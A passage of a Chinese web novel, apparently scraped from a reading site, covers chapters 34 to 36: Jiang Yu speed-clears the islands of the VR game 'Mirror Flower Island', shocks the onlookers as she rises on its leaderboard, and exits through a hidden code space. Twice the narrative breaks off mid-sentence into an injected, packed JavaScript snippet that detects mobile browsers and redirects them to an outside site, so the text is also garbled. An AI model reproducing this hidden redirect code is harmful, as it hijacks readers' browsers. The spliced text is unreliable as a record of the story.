“不过，也有很多人甘愿困在高级岛，甚至能待得越久越好。”夏景笑容微妙，“高级岛，也是镜花岛虽然极难但销量始终不错的王牌设计。毕竟这家公司在虚拟现实的真实性上做得独一无二。” 睡衣男生又一头雾水。 另一边，似乎是在印证鸣芥的话语，姜渔的游戏舱上，象征10号岛的绿灯闪烁了几分钟后，立即变成了蓝色的长亮灯。 并且，很快地，11号灯蓝色长亮，12号灯蓝色长亮，13号岛灯，14号岛灯…… 而仪器上的精神波动值，始终为0。 夏景说：“看上去，她就是在告诉我们，她是老玩家了。” 楚煊不屑地补了一句：“也不知道她在炫耀什么……炫耀自己游戏玩得很厉害么？真把精卫当游戏厅了？” …… 镜花岛。 画面流转，姜渔已经回到码头上。 身前的屏幕上，赫然已经点亮18座岛屿。 但是姜渔只觉得空虚。 在迅速通关的九座岛屿中，她就像看了一部部的幻灯片。 物欲横流的都市中，她是富可敌国的富豪，正在受邀参加一座城邦的拍卖。但她杀了所有拍卖者与保安，拿到了身为拍卖品的钥匙； 俊男环绕的豪宅中，她是娱乐圈的总裁，接受着各种男生的献媚，看他们为了自己雄竞修罗场。但她一边嘟囔着“你们对性向认知很局限啊”一边杀掉了所有NPC，钥匙从床榻之上显现； 宝石铸就的宫殿中，她是富可敌国的女王；铃声大作的校园中，她是青涩年华的学生；废土世界中，她拥有无上异能；丧尸来袭时，她获得免疫系统…… 在每一个场景中，都有一个明显的任务线，等待着她去完成。 但姜渔只是在第10号岛犹豫了一下，在初始场景中获得钥匙后，就抓住了高级岛的精髓—— 只要不被明面上的任务线所影响，那么钥匙往往就藏在初始场景中。 “幻境沼泽，不是这样的。虽然确实都与情感欲望有关，但它没有那么浅显……” 姜渔叹了口气。 这时，指引NPC再次出现了。 她彬彬有礼地说：“恭喜您通过18号岛，‘棒棒糖之手’女士。镜花岛向您这样能力卓越、精神稳定的客人，表示由衷的欢迎。接下来，您将面临的，是真正的幻境沼泽。请问你准备好了吗？” 真正的幻境沼泽……在经历了那些浮于表面的情节后，姜渔对这款游戏的信任度已经降到了冰点。 姜渔狐疑地看了指引NPC两眼。 目光移回屏幕，【开始游戏】的按钮悬浮着似乎再邀请人点击，姜渔略微估算她在游戏中的时间大概才一个多小时，想到退出游戏要面对的人也很无聊，还不如继续。 她淡然说道：“看看无妨。” 姜渔伸手点击。 下一秒，身边的画面再不是像之前一样，缓缓变换，而是瞬间换了一个场景！ 姜渔看向前方，第一次愣住了。 她的心底，真的冒出了毛骨悚然的感觉！ …… 时间回到几分钟前。 娱乐区。 众人都看到了，姜渔游戏舱上的岛屿灯珠，已经点亮了18盏。 楚煊摆弄了两下义臂，眼中的怒气腾地燃了起来：“总算好了，出来吧，让我们看看这个骗子以前到底玩了多久！” 她已经忍了太久。 法斯特终于出声了，他贴心地说：“楚煊女士，就算姜渔女士是镜花岛的老玩家，但你们确实没有赌约。无论赌约是否作废，在下劝您不要再和姜渔女士发生冲突了。当然，在下也会对姜渔女士劝说，让她不要太过咄咄逼人……” “她咄咄逼人，没问题！甚至只要她是普通玩家，我都可以接受！不就是带上那个丢人的棒棒糖义臂吗？”楚煊不耐烦地嚼着口香糖，说，“你不用在这里多事！” 文身壮汉也站到楚煊身边：“我们的事，会自己解决。但我们也不拒绝有好事的同事们插手。” 四人组站在一起，放眼全场，隐隐有与所有人作对的意思。 忽然，睡衣女生抬起了手，声音有些不确定：“我看，姜渔女士好像没准备出来……” 一时间，众人愣了愣，回身看去。 姜渔的游戏舱上，第19盏灯竟然开始闪烁起绿灯！ 楚煊一脸的不可置信：“她……她要干什么？！” 她问的问题，答案显而易见。但是所有人，都没有出声笑她。 亮起的19号岛灯，引起了几乎所有人的震惊！ “她竟然开始闯第19号岛了。”久未发言的夏景也目光一沉，“难道，她是镜花岛的联邦500强玩家？” “不会吧……”鸣芥努力咽下口中的薯片，哑着嗓子说道。 唯一满脸困惑的睡衣男生连忙出声问：“等等，19号岛又怎么了？” 睡衣女在旁解释：“由19号岛开始，被玩家称为噩梦岛区，难度骤然提升，基本上，只要通过19号岛，就是镜花岛的联邦500强玩家。” 睡衣男生更加纳闷了：“不是说一共有36座岛呢吗？怎么才到19号岛就是五百强了？” 睡衣女点点头：“不仅如此，五百强内，有三百多人都是通关19号岛的成绩，官方只能按照游戏的总游玩时长进行更细致的排名。游玩时长越短的玩家，排名越靠前。” “她叫姜渔对么？”楚煊眼中阴晴不定，她已经拿出手机，点开镜花岛的官方网页，进入排行榜的界面，开始一一查找起来。 文身壮汉也在旁皱眉问：“有头绪吗？” 楚煊摇摇头：“没。奇怪的ID太多了，对应不上。” “我记得你刚才在问她在炫耀什么吧？看来现在有答案了。”夏景看着游戏舱，说，“她要通关19号岛，炫耀她是镜花岛500强的身份。她在证明你有眼无珠呢，楚煊。” 睡衣男生又不懂了，向睡衣女问：“她们怎么这么确定姜渔就是500强呢？” “当然了。你想想，第一，姜渔现在身处赌局当中，知道自己的成绩被人看着。第二，已知姜渔是老玩家，肯定知道19号岛的难度极其变态。”睡衣女顿了顿，说：“所以，她现在闯关19号岛，当然是很有把握通关啦。不然她自己是想失败之后，灰头土脸地被弹出来吗？对比之下，体面地在18号岛结束出来宣布赌局胜利多好。” “闭嘴。”这时，楚煊很恨反驳了夏景一句。 紧接着，她的眼底冒出了一丝疑惑，“等等，她不是说她是C级战力吗？” 此话一出，所有人都沉默了。 夏景问道：“法斯特，你知道她的战力等级真是C级吗？” 法斯特点点头：“是世海之钻前几天测出来的。确实是C级。” 场内的同事们，表情变得更加复杂了。 夏景有些犹豫地说：“C级也能通关19号岛吗？” “不是，这不就是个游戏吗？为什么不能啊？这到底是什么游戏啊！瞧不起普通公民吗？”睡衣男生觉得自己已经要被搞疯了，他一个连1号岛都过不去就弃游的人，完全没想到镜花岛这款游戏里有这么多的条条道道。 睡衣女按住了疯狂抓挠自己头发的睡衣男。 她细心地解释道：“19号岛开始，被称为噩梦岛是很有原因的。当年，一个大神终于通关18号岛，作为第一个进入19号岛的玩家，他邀请了很多人见证。但是，当他开始闯19号岛后，仅仅过了一分钟不到，他的情绪波动就超过了-10，被弹了出来。而大神一脸懵，他根本不记得自己进入19号岛后发生了什么。” 睡衣男蹙起了眉头：“这是为什么？” “没人知道。”睡衣女摇了摇头，“包括后来通过18号岛的玩家们，冲击19号岛后，都在一分钟左右后被弹了出来。他们都认为这是游戏公司的BUG，但被游戏公司否认了。” 睡衣男已经完全被吸引了，急问道：“那后面的玩家是怎么通关的？” “第一个通关19号岛的人，ID叫‘我来试试’，是在游戏发行半年后出现的。”睡衣女不疾不徐地说，“这个人在通关19号岛当天，就在猎人论坛上发帖，她奉劝所有玩家，只要实力没有达到S级，最好不要尝试冲击19号岛。而且，她还说自己会申请联邦彻查这间公司呢。” 睡衣男不禁咂舌：“这么牛，谁啊她？” “她发帖时，贴上了夜莺机动队的证件，隐去了姓名。” 睡衣男语气顿时变了，眼里都是星星：“这么牛！谁啊她！” “不清楚。包括彻查游戏公司的事情，后来也不了了之了。”睡衣女叹了口气，“但也是她的发帖，让很多超级高手对镜花岛开始感兴趣，闯过19号岛的玩家也越来越多了。截至目前，没人否认过’我来试试’的帖子内容。所以人们便默认镜花岛的联邦500强玩家，都是S级战力以上的超级高手。” 睡衣男咽了口唾沫，惊疑不定地看向姜渔的游戏舱。 “世海之钻，应该不会出错吧……”他说，“你说的‘我来试试’，还在贴子里说了什么吗？” “她说，19号岛的真实度，一草一木，天气环境，人与人的交谈，全部都让人难以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她的左腿是复杂的机械腿，因为故障，不时冒出火星。她的右腿是一只腐烂的实木桌腿。 她的嘴角，正在抽动。 姜渔盯着那个“纪小麦”，看到“纪小麦”抽搐着嘴角，发出嘶哑、变幻莫测、断断续续的声音。 “姜、姜渔渔渔、你回……来来来、啦？” 怎么像难以运转的机器一样？ 姜渔猛地冒出了这个念头，她打量了一下这个空间，有了点头绪。 “莫非这里也是新手教程，表示可以读取我的记忆了？” “看上去，就像是机器的能力，不足以呈现出更真实的幻境一样。” “有意思起来了。” 姜渔迈开步子。 她其实也有些担心，这会不会涉及到泄露1301室秘密的风险。 但转念一想，这台机器若是真的能读取人的记忆，那肯定在读取的一刻，什么秘密就已经全然泄露了。既然如此，不如将这里的秘密一探究竟：或许机器是通过别的方式找到纪小麦的呢？ 识别面孔，找寻身份，然后爬一爬社交媒体，找到了自己和纪小麦的合照这样。 做好决定后，姜渔已经来到了纪小麦的面前。 一把钥匙，安静地摆在纪小麦的脚下。 姜渔轻松捡起，握在手中。 瞬间，姜渔回到了码头上，熟悉的海浪声音响起。 她没有丝毫犹豫，在屏幕上点击了20号岛屿的图标。 …… 娱乐区内。 姜渔的游戏舱上，第19盏象征岛屿的灯，赫然变为蓝色长亮！ 所有人都吸了一口凉气。 “她真的是联邦五百强！”夏景难以置信地说道，“到底是哪里出了问题？是世海之钻出了问题，还是帖子内容出了问题？C级战力也可以通关19号岛！” 楚煊缓缓摇头，她无法接受这个现实，竟然一步步向后退去，同时嘴里喃喃地说：“不可能……不可能……她……不可能！” 紧接着，楚煊意识到了自己的狼狈，她稳住心神，呼吸急促地说：“她到底是谁？她到底是谁？” 睡衣女的眼睛也充满了崇敬：“是哦，到底是哪位大神啊？” 她跟楚煊一样，重新拿起手机，两人都进入了镜花岛的官方网页中。 “好吧，就是看不出来……诶？”睡衣女从榜单的后排向上看去，冥冥中觉得有点问题：“好像不太对。” “榜单……榜单变了……”楚煊刚刚才看过榜单，很快指出了问题所在。 但是，楚煊也意识到，榜单变了，意味着什么…… 这证明，游戏舱内的那个姜渔，在刚刚闯过19号岛时，刷新了榜单的排名！ “她在哪？”楚煊已经彻底慌了阵脚。 这时，夏景的手指了过来，在屏幕上翻了翻，说：“我刚刚看到了，是不是这个？” 一时间，所有人都围过来，看到了那个排名。 喧嚣的游戏厅内，再无人说话，只有咽口水与倒吸冷气的声音。 楚煊的手机上，定格在榜单的中部位置。 上面写着： “排名：176名。” “ID：棒棒糖之手。” “总计游玩时长：1小时12分钟。” 35. KEY 在黑客横行的当下，镜花岛的用户隐私保护一直做得极好，它采用的是匿IP制，游戏过程不联网，只同步成绩，虽然有一定延迟但从根源上断绝了用户信息的泄露。 可在荒纪末世，镜花岛又是一个试金石一样的存在。 它在筛选可以对幻境沼泽有抵抗力的战士。 众多S级和探索级玩家在角逐的排行榜也已经成了联邦默认的末日英雄榜。 各方势力的高手都希望能在榜上争个名次。 姜渔并不知道这些，她为了赌局，当场公开了ID。 为了保护姜渔，法斯特第一时间告知了大家，对姜渔的ID进行绝对保密。 精卫快递公司的人虽然履历精彩，但对精卫的指令却从不含糊，法斯特并不担心。 此时，他的目光幽深盯着游戏舱，愈发懂了丁程野那句评价——“她可不好惹。” 确实不好惹。 姜渔的闯关还在继续，众人从刚刚的质疑，到如今都沉默着屏息等待结果。 睡衣女生伸着脖子眯起眼睛。 她看得实在费力，只好问：“可以开启投影吗？” 夏景手掌在屏幕上轻轻一扫，画面犹如一张虚化了的纸，离开屏幕，化作100寸左右的投影，列在众人眼前。 排名更加清晰了。 排在“棒棒糖之手”上方的玩家ID，已然是通关20号岛的记录了。 这意味着，“棒棒糖之手”是所有通关19号岛的玩家中，总计游玩时间最短的一个，所以才排在所有通关19号岛的玩家顶端。 法斯特看着时间，悠悠地说：“各位，距离赌局开始，好像也就是过去了一个小时多一些……” 楚煊从久久的沉默中回神，她环视众人，声音嘶哑：“我努力了那么多次，都没有通关……不要说我不相信，你们又真的相信吗？！” 没人回应她。 楚煊的脸上已经没了刚刚的狂妄，取而代之的只有迷茫和不可置信。 人群中不知道是谁喊了一句：“猎人论坛刚刚瘫痪了，都在关注这件事！” 这句话吸引了在场人们十成十的注意力。 猎人论坛，最早是由一群墙外探险爱好者创建的论坛，用来分享彼此在城外探险的所见所得。 随着时间推移，猎人论坛以开放、自由、多元的“优势”，吸引了越来越多的高手，甚至就连夜莺机动队的队员，也渐渐不再混迹严苛死板的内部论坛，转向猎人论坛化名发帖。 长此以往，猎人论坛又吸引了越来越多的普通人来到这里，只为了参观膜拜各位大神，从中学习知识、获取信息。一时间，论坛上多了许多灌水贴。对此，猎人论坛并没有选择解散这一片网络上的荒蛮乐土，而是将猎人论坛的核心板块“墙外之人”设置为邀请制，其余板块则随随便便分了类，任其发展。 猎人论坛演化至今，已经成为联邦最热闹的社区之一。其中的用户鱼龙混杂，能人辈出，往往是机密消息的首要流出地。 只是，看猎人论坛的消息需要很强的分辨能力，因为—— 最不可靠与最可靠的消息，都在猎人论坛里。 此时，夏景打开了另一个页面，进入了猎人论坛。 看来经过抢修，论坛已经恢复了。 一时间，众人差点被100寸投影中的密密麻麻消息淹没。 除了“游戏娱乐”之外，无论是“生活杂谈”板块，还是“影音天地”板块，亦或者“历史钩沉”、“资源分享”、“情感交流”等与镜花岛毫不搭边的板块，其在论坛首页的缩略图上，基本全是关于“棒棒糖之手”的讨论！ 《天啦撸，到底是哪位大神下凡来玩游戏了？》 《关于我对棒棒糖之手就是联邦战区总指挥官的十七点推测。》 《棒棒糖之手，是黑客，还是BUG？》 《投票，你认为棒棒糖之手作弊了吗？》 《棒棒糖之手的ID背后，是否隐藏了什么身份信息？》 《@我来试试，大佬看到了吗，棒棒糖是夜莺内部人员吗？》 《我是棒棒糖之手，特来分享一下我的过关心得，只求一个墙外之人的邀请码（狗头）。》 《看ID像是年轻女玩家，棒棒糖之手会是下一个石莺吗？》 《如果棒棒糖之手看到这条帖子，请务必向我私信。我司愿无偿赠予最新款的棒棒糖义臂。》 《18岁，无业，S级，坐标黑砂之城。想跟棒棒糖之手混，希望被捞。》 《@镜花岛公司高管，为了游戏公平，请公开棒棒糖之手的通关全程！》 《服了，原来她是这么过19号岛的。想看棒棒糖之手通关视频的+V……》 …… 睡衣男不禁咂舌：“论坛上一次所有板块都在议论同一件事的时候，还是关于去年的云市陷落吧？” 夏景眼尖，指着屏幕右下角“游戏娱乐”的板块，说：“那里。是官方公告。公告至少会公开虹膜玩家的游玩时间。” 楚煊目光下移，看到一则《官方出棒棒糖之手的公告了》的帖子，目光一亮，火速点了进去。 然而，在帖子一楼所贴上的官方公告截图中，并没有得到她希望看到的信息。 截图中如此写道： “致广大热爱《镜花岛》的玩家们： 经我司技术人员仔细核查，ID为“棒棒糖之手”的玩家，未利用任何不当手段进入游戏。 另外，我司也收到了许多玩家要求公开“棒棒糖之手”通关过程的诉求。但是，《镜花岛》将玩家的隐私问题视为重中之重，在涉及隐私的相关程序上，设置了高度严谨且不可逆的保护措施，以使任何人员都无权且无法查看玩家的通关过程。所以，我司无法提供“棒棒糖之手”的通关过程。最终，愿各位游客在《镜花岛》中一路破除迷障，抵达终点，获得‘归墟之钥’。” …… 楚煊迫不及待地向下翻着，下一秒，她的身形一僵。 公告下方的附件，清楚地记录着改名玩家的游玩时间为：1小时11分钟。 玩家游玩时长是以虹膜为唯一收集维度，对应唯一身份，不管你新建多少账号，都会累积你的游玩时间…… 众人面色古怪，他们也都意识到了这个事情—— 此时此刻，躺在游戏舱中的姜渔，既不是什么通关无数次的高手玩家，也不是有过数次游玩经验的普通玩家。 她竟然真的是一个彻头彻尾的新手小白！ 一个C级战力的新手小白，第一次进入镜花岛，不仅一次性无伤通关了规则严苛的初级岛…… 还泯灭人性地速通了高级岛…… 还打通了传言中只有S级战力才有能力通关的19号岛…… 甚至—— 还刷新了19号岛的记录，直接成为最快通关19号岛的第一人！ 楚煊心中最后一点希望也破灭了。 她的手麻木地滑动着屏幕，大脑已经无法吸收任何信息。 一个在她眼中只是“垃圾”的C级角色，轻松达到了她梦寐以求却从未达到的成就…… 楚煊的心里好像缺了一块，空虚首先趁虚而入，攻占了她的内心，其次涌进来的，是无穷的耻辱、苦涩、不堪、愤怒…… 猎人论坛里无数人在焦灼地等待棒棒糖之手的战报，最新一条的回帖上。 “急死了！怎么还没有真在现场的吃瓜坛友啊！棒棒糖之手还在玩吗？她有没有在冲击20号岛啊！” 原来这就是所谓的“在现场”啊。 除了楚煊之外，几个人不约而同地冒出了这个念头，随后看向唯一的主角：姜渔。 下一秒，这几个人都下意识地抬起手，揉了揉眼睛。 看到这几人的反应，楚煊呆呆地转过头。 在她也意识到自己看到了什么之后，瞳孔骤然收缩！ 众人视线中，姜渔的游戏舱上，闪烁着的，是22号岛的绿色灯光。 谈论间，她竟然已经通关21号岛了…… 众人再度转向投影中实时刷新的排行榜。 “排名：90名。” “ID：棒棒糖之手。” “总计游玩时长：1小时15分钟。” 通关21号岛，姜渔甚至只用了3分钟。 且精神波动值始终为0。 甚至比不上1号岛带给她的精神冲击力大！ …… 22号岛。 姜渔转了转头。 “嗯，比21号岛强一点。虽然还是很简陋了，这服务器是太卡了吗？怎么什么都加载不出来的样子，好穷的公司。” 姜渔有些无语。 她的四周，还是一片洁白。 不过地面上已经有了颜色不一的地板，甚至还多了几个造型诡异的小家电，漂浮在空中。 身前仍然是“纪小麦”，模样总算好一点了，至少眼珠没有掉出来。 只不过多出了两个头，两双手。 三张嘴同时在说：“姜渔姜渔姜渔……你回来了你回来了你回来了……” “三头六臂，你是哪吒啊。” 姜渔叹着气，说：“哪吒说话也不带回声呀。” 她向前走去，不顾“纪小麦”自带电音的呼喊，直接捡起了她脚下的钥匙。 瞬间，姜渔返回码头。随即，熟练地点击23号岛。 画面再次变化。 姜渔满意地点点头：“又强了一点，至少四周有墙壁了。但咋把纪小麦直接变成老太太了？” 姜渔心平气和地直奔纪小麦而去。 …… 娱乐区。 夏景看到姜渔游戏舱上象征23号岛的灯变为蓝色长亮后， “排名：3名。” ““ID：棒棒糖之手。” “总计游玩时长：1小时20分钟。” “她不会真的要破纪录吧？你……你真是一语成谶。” 夏景面色复杂地看了眼表情呆滞的楚煊，说：“无论如何，你已经输了。我觉得棒棒糖义臂还挺好看的。” 听到破纪录，睡衣男生看向投影。 第一名的ID，正是睡衣女曾说过一嘴的“时过境迁”。 在“79小时15分钟”的总计游玩时长之后，是他的关卡记录：29号岛。 第二名，ID名为“热心肠麻烦热一热”，关卡记录为：26号岛。 第三名，即是如今的“棒棒糖之手”——姜渔，23号岛。 换言之，在“镜花岛”的联邦五百强中，足足175名玩家，只能通关19号岛。 剩余200多人，可以通关20号岛及21岛。 至于可以通关22号岛的玩家，只剩下了数十名。 而23至29号岛，除了第一名、第二名以及如今的姜渔之外，再也无人踏足过了。 在这500强中，绝不乏S级乃至探索级的高手。 若是让这些人知道，“棒棒糖之手”的战力级别只是C级，他们会是什么反应？ 睡衣女不由得冒出了这个念头。 忽然，睡衣男打断了睡衣女的遐想，他好心地喊了一声楚煊，说：“你要不要尽快买义臂？我看到现在市面上棒棒糖义臂的价格，已经炒到之前的十倍了。” “十倍……那就是几十万联邦币啊？”文身壮汉听到后吓了一跳，他脸色真的不太好了，向楚煊说：“要不要买个二手？” “滚！”楚煊听到同伴的馊主意后，气得两眼一黑，“你有病啊让我安装一根别人舔过的棒棒糖？” 随后，楚煊恨恨地说道：“不就是几十万吗！我现在就买！不就是多让我花了点钱吗！” 但所有人心里都清楚，此时此刻，“棒棒糖之手”的影响，已经不仅是哄抬一款“棒棒糖义臂”的价格了。 …… 镜花岛的排行榜变天了，在玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412074|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口口相传中，“棒棒糖之手”俨然成了一个某个可能对幻境沼泽免疫的人，且此时仍在刷新游戏记录。与此同时，这条消息正在急速在主城扩散，甚至惊动了联邦政府。 巡城部中，数组巡城队员在楼梯间内密会，他们倚着楼梯抽着香烟，吞云吐雾间有人猜测：“这个棒棒糖之手……会不会是部长？” “为什么？” “部长说话甜甜的。” “你……服了，棒棒糖还有可能是酸的呢，所以也可能是副部长那个老秃驴咯？他说话酸里酸气的。” 一颗光头在下一阶楼梯间隙露了出来，光头顿了一下： “那几个抽烟的大高个，来我办公室一下。” …… 市警局内，副局长柳书崖眉头紧锁忧心忡忡，此人如果不是联邦及友方势力，那威胁不容乐观。 他与全局市警聚在一起，实时查看“棒棒糖之手”的排名，并严肃下令： “在确认此人是否为公职人员之前，严查此人行踪！至于首要切入口……密切关注买卖并携带棒棒糖义臂的可疑人员！” 众人：“是！” …… 而反观猎人论坛内，在不向普通用户开放的“墙外之人”板块中。 这些互称“外人”的用户们，普遍在各种公司、各种部门身居要职、或与各大势力有所纠缠。 他们讨论的信息，更扁平化地反应了棒棒糖之手在联邦各个角落引起的轰动—— 《巡城部内部发文了，如果棒棒糖之手身份正常，将予以小队队长的职位。》 《所有主城的市警局将棒棒糖意象列为重点监察目标，以防出现趁机聚众闹事的事件。外人们不要凑热闹了。》 《四大媒体已经派出狗仔，我跟踪了70%的狗仔仪器，以下是他们活动路线，分享出来。外人们保护隐私。》 《外人们没有在夜莺打工的吗？夜莺那边什么说法？》 此贴点赞最高的回复：已经烦死了。曙光城这边事特别多，我现在就只希望棒棒糖之手是其他主城的人。 《棒棒糖之手会是探索级，还是正义级？》 《内部消息，许氏集团将在明天下午宣布招揽棒棒糖之手，提供情报者都有现金奖励。外人们可以提前编编情报准备薅羊毛了。》 …… 镜花岛。25号岛。 “姜渔！你回来了！” 姜渔眼神恍惚中，看到一抹身影，扑向自己的怀中。 “怎么这么开心啊。” 姜渔无奈地笑了笑，拍了拍纪小麦的后背。 当她看到纪小麦穿着大学的校服时，眼底却开始升起越来越多的迷茫。 随后，姜渔没有放开纪小麦，而是维持着拥抱的姿势，扭断了对方的喉咙。 姜渔看着缓缓躺在地上的“纪小麦”，只觉得一阵心悸。 她环顾四周，已经不再是洁白的空间，而是春风吹拂的大学操场。 她站在绿荫草地上，身边同学，人来人往。云卷云舒，阳光正好。 “刚才那种感觉……真的是幻境沼泽吗？” “这种能力，绝不是通过代码和一个游戏舱就能办到的吧。” “所以，是有什么人的能力，可以通过这款游戏，让人真的陷入到幻境沼泽么？” “更严谨点来说，是极像幻境沼泽的另一种幻境。” 姜渔第一次意识到，这个游戏，远不是自己想象中那么简单。 她捡起钥匙，回到码头，毅然点击了26号岛！ 姜渔的双眼失神了一瞬间。 “姜渔！你回来了！” 姜渔抬起头，看到穿着打工服的纪小麦，正向自己扑了过来。 她张开双臂，刚想迎接纪小麦，却忽然听到了一声更为熟悉的嘟囔—— “姜小渔啊姜小渔，真实的我哪有那么大线条嘛……而且你下手也太狠了，看得我脖子酸酸的。” 这声嘟囔，来自无法锁定方位的天空、风中、脑海、心底。 姜渔一下子回过神来，再也没看前方不远处，定格在空中的“纪小麦”一眼。 她错愕地确认：“纪小麦？” 身处1301室的纪小麦愣了一下：“啊？你能听见我啦？” “能……就像在陆伯原的幻境沼泽中一样！” “哇哦。”纪小麦不禁点了点头，给予肯定：“这个游戏还真是做得有点东西。” 在两人开始沟通时，姜渔看到身边的一切景象，正在极速的消失不见。 天空被黑色吞噬，树木灰飞烟灭，人群逐渐淡去。 最终，身边恢复成一个50平米的漆黑空间，常温，干燥，极度寂静。 姜渔转了转身，看到四周流动着莹绿色的字母，那是一串串的代码，由旧时代的不同语言组成。 这些代码将空间包裹起来，构成四面代码之墙。 空间的正中央，则是三个金色的字母，连在一起：KEY。 KEY，即钥匙，看来也是每个岛屿中，所谓“钥匙”的最初形态。 姜渔忍不住苦笑，上前两步：“这样下去就彻底没难度了呀……” 然而，就在此时。 空无一人的代码空间中，忽然凭空响起了一个男生的清冷声音： “喂，你也找到了桥吗？” …… 此时， 主城的富人区高楼。 古典装潢的客厅中，一名女孩站在窗前，俯瞰着整座城市。 在她身后，赫然是当今的顶流影帝温不朽，他坐在沙发上，沉默地看着眼前窄长的实木棺材。 一名身着礼服的管家如鬼魅般冒了出来：“总裁，有望在两个小时内通过噩梦岛的玩家出现了，就在刚刚。” 房间内，仍然维持着沉默。 良久，温不朽才轻声开口，声音冷冽如山泉，“不论用什么办法，联系上他，我想，请他一起喝个茶。” 36. 退出游戏 镜花岛。26号岛。 “你也找到了桥吗？” 男生的声音经过了某种程序的异化，清冷异常。 姜渔扭头找了一番，空挡的代码空间中，再无第二人。 她只好站在原地，问：“什么是桥？” 没有人再回应了。 姜渔一头雾水：“这人会在下一个岛屿吗？” 纪小麦在1301室也跟着摇头，说：“我也不知道。” “好吧。”姜渔抿抿嘴，继续向前走去。 然而，就在姜渔弯腰要触向“KEY”的代码时，那道声音再次响起了： “不要过去！” “不要过去！” “不要过去！” 男生的声音一如之前清冷，语速也没有任何变化，就像一台没有感情的机器一样在不停重复。 可姜渔分明从中听出了“警告”与“焦急”的情绪。 姜渔难以察觉地皱了皱眉，起身时又是表情平静。 她环顾四周，四周的代码不再像之前一样，自上而下的呈线性向下流动，而是要挣脱什么东西一样，开始前后左右地摆动。 像是绿色的海浪。 姜渔轻声问：“纪小麦，你怎么看？” “不知道是敌是友……”纪小麦挠了挠头发，“但从你的处境出发，退出确实没什么危险。反而继续向前的话，会遇见什么我们都不知道了。” 姜渔沉吟一阵，点头说：“你说的没错。还是要稳妥起见。” 说罢，姜渔再次打量了一次这个代码空间。 她陷入了深深的愁绪中。 “可是，我该怎么退出啊？” 姜渔倒是在码头的屏幕上看到过“退出游戏”的选项。但此时此刻，她身处26号岛中，既没有靠拿到钥匙通关，回到码头。也没有因为自己的精神波动值过高，而被游戏舱主动弹出。可谓前不着村后不着店。 “等等，如果这里有钥匙代码的话，那会不会有退出游戏的代码？” 姜渔灵机一动，她一边嘟囔着“退出游戏退出游戏”的口令，企图激活“退出游戏”的功能，一边仔细查看每一面墙上流动的代码。 直到几分钟后，姜渔终于看到一串“Exit”的字母，从右侧墙边缓缓流动向下。 “找到了！” 姜渔眼睛一亮，三步并两步地迈向那一串代码，下一秒，姜渔伸出手，摸向“Exit”的代码，一阵冰凉微麻的手感传来。 瞬间，眼前陷入漆黑。 姜渔慌了几秒，但很快意识到，这种漆黑正是她进入游戏舱后的漆黑。 与此同时，姜渔感到身上温润的包裹感正在褪去，覆盖在脸上的东西也渐渐远离。白色的灯光溜了进来。 姜渔顶着灯光，努力睁开眼睛，正看到身前的游戏舱的盖子缓缓抬升，落在旁边，盖子后露出熟悉又陌生的几张脸。 姜渔的目光掠过一脸惊讶的法斯特，落在微微张开嘴巴，不再嚼口香糖的楚煊身上。 “应该是我赢了吧？” 姜渔揉了揉有些发涩的眼睛，看着一圈众人的脸，困惑地问。 夏景古怪地问：“先等等，你是怎么出来的？” 姜渔老实回答：“就点击退出游戏啊。” 夏景听了直摇头：“不对吧？退出游戏只能在码头退出，但游戏舱显示你还在26号岛闯关呢。玩家在闯关时，要么通关，要么因精神波动值过大被弹出来。只有这两种结果才对啊？” 姜渔心里一沉，琢磨起来。 看来“代码空间”是他们都没经历过地方，甚至绝大部分玩家都没经历过，不知道触摸“Exit”就可以退出游戏的选择。所以这个女生才会产生这样的疑问。 姜渔决定半真半假地回答，缓缓说：“我首先是找到了钥匙，但是我在26号岛还有些问题，就没有拿。找线索找啊找的，找到了另一个钥匙，拿起来就退出来了。” 在无人注意的角落，楚煊脸色失神了一瞬间。 当别人在努力通关的时候，她竟然找到了钥匙都不通关，而是选择继续找全线索吗？ 卡住联邦无数高手的26号关，在她眼中只是一个可以闲庭信步的地方吗？ 其他人的想法，也与楚煊相差无异。 夏景若有所思地点了点头：“所以在26关，或者在噩梦岛之后，玩家是可以选择通关或者直接退出游戏的吗？镜花岛这么设计的原因是什么？” 姜渔看着因为自己的话陷入沉思的夏景，又开口道：“我补充一下，我不能代表这游戏的设计啊，也许也是我闯关失败了呢？话说你们在26号岛都看见了什么？” 姜渔说这句话，只是想错开话题。 结果，她发现话音落下后，所有人都用一种特别异样的眼光看着自己！ 有忌惮、有羞赧、有疑惑、有尴尬、还有个睡衣女生眼里都是火辣辣的崇拜！ 对于众人的态度，姜渔实在迷茫，她把目光投向现场唯一还算震惊的法斯特。 “咳。”法斯特咳嗽了一声，温声说：“姜渔女士，你不用怀疑自己。要知道，你的话现在对许多玩家来说，是比官方还有含金量的。” 这时，夏景继续诚恳提问：“那你是怎么通过19号岛的？它和之前有什么区别吗？” 姜渔还没理解法斯特的话，看着一脸认真的女生，有些不知道怎么回答了。 短暂思索两秒，姜渔决定实话实说：“还好吧。从技术难度上来说，19号岛的玩法，比之前的岛，确实有质的提升。不过这家公司还是差点火候，没做到让我觉得眼前一亮的地步。实话说，还不如1号岛吓人呐。” “……” 众人再次被姜渔的话创到了，风中凌乱中。 夏景尴尬得笑了笑：“也是，毕竟你都已经到26号岛了。你的游玩体验，肯定和我们这些困在十几号岛的人不一样。” 姜渔听了眼前一黑，总算有点明白了：感情你们这帮人连十几号岛都没过啊…… “精神波动值一直维持在0，打到26岛，还是在游戏途中自行选择退出而不是被弹出来……”这时，眼中闪着崇拜光芒的睡衣女生忍不住慨叹：“优雅，太优雅了。” 睡衣女生说完后，忍不住再次看向游戏舱旁边、显示精神波动值的仪器，猛地，她眼中精光一闪，忽然冲了过去！ “小妹妹，怎么了啊？” 